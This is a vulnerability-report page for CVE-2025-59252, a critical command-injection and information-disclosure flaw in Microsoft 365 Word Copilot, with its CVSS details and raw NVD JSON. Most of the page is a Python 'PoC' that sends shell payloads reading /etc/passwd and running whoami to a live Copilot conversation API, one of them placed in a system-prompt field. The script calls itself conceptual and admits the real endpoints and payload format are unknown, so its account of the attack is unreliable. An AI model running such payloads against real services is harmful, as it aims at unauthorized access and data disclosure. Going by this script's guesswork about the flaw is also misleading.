Security Vulnerability Report
中文
CVE-2025-59252 CVSS 9.3 CRITICAL

CVE-2025-59252

Published: 2025-10-09 21:15:39
Last Modified: 2025-12-11 20:16:21

Description

Improper neutralization of special elements used in a command ('command injection') in Copilot allows an unauthorized attacker to disclose information over a network.

CVSS Details

CVSS Score
9.3
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_word_copilot:-:*:*:*:*:*:*:* - VULNERABLE
Microsoft Copilot(所有未安装2025年10月安全更新的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59252 - Microsoft Copilot Command Injection PoC # This is a conceptual PoC demonstrating the command injection vulnerability # in Microsoft Copilot that allows information disclosure over a network. import requests import json TARGET_URL = "https://copilot.microsoft.com/api/conversation" # Malicious payload exploiting command injection via Copilot's input handling # The special elements are not properly neutralized, allowing command execution def exploit_command_injection(): """ Exploit CVE-2025-59252: Command Injection in Microsoft Copilot The vulnerability allows an unauthenticated attacker to inject commands that get executed, leading to information disclosure. """ headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } # Crafted payload with command injection special elements # The injection attempts to read sensitive system information payload = { "messages": [ { "role": "user", "content": "$(cat /etc/passwd | head -20)" # Command injection payload } ], "conversationId": "exploit-test", "context": { "systemPrompt": "`whoami && id`" # Alternative injection vector } } try: response = requests.post( TARGET_URL, headers=headers, json=payload, timeout=30 ) if response.status_code == 200: data = response.json() print("[+] Exploit successful!") print(f"[+] Response: {json.dumps(data, indent=2)}") # The injected command output may appear in the response return data else: print(f"[-] Request failed with status: {response.status_code}") return None except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-59252 PoC - Microsoft Copilot Command Injection") print("[*] WARNING: For authorized testing only!") exploit_command_injection() # Note: Actual exploitation may require specific API endpoints and # payload formatting specific to the Copilot service architecture.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59252", "sourceIdentifier": "[email protected]", "published": "2025-10-09T21:15:38.600", "lastModified": "2025-12-11T20:16:20.943", "vulnStatus": "Modified", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper neutralization of special elements used in a command ('command injection') in Copilot allows an unauthorized attacker to disclose information over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_word_copilot:-:*:*:*:*:*:*:*", "matchCriteriaId": "3A538269-3D01-41B4-B8B1-B70D8514D336"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59252", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}